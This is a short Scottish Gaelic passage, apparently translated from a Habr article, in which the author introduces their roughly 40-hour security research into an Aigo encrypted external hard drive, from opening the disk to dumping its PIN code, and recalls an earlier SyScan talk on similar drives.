Dè as urrainn dhut a mholadh airson Aigo? Às deidh dhomh mion-sgrùdadh a dhèanamh air modal no dhà de dhràibhearan HDD crioptaichte, ann an 2015 rinn mi air SyScan, anns an do rinn e sgrùdadh air duilgheadasan tèarainteachd grunn dhràibhearan HDD taobh a-muigh, agus rinn e molaidhean air dè a ghabhadh leasachadh annta. 🙂
Chuir mi seachad dà deireadh-sheachdain agus grunn oidhcheannan a’ dèanamh an rannsachaidh seo. Gu h-iomlan timcheall air 40 uair a thìde. A’ cunntadh bhon fhìor thoiseach (nuair a dh’ fhosgail mi an diosc) gu deireadh (dump còd PIN). Tha an aon 40 uair a’ toirt a-steach an ùine a chuir mi seachad a’ sgrìobhadh an artaigil seo. B’ e turas air leth brosnachail a bh’ ann.
Source: www.habr.com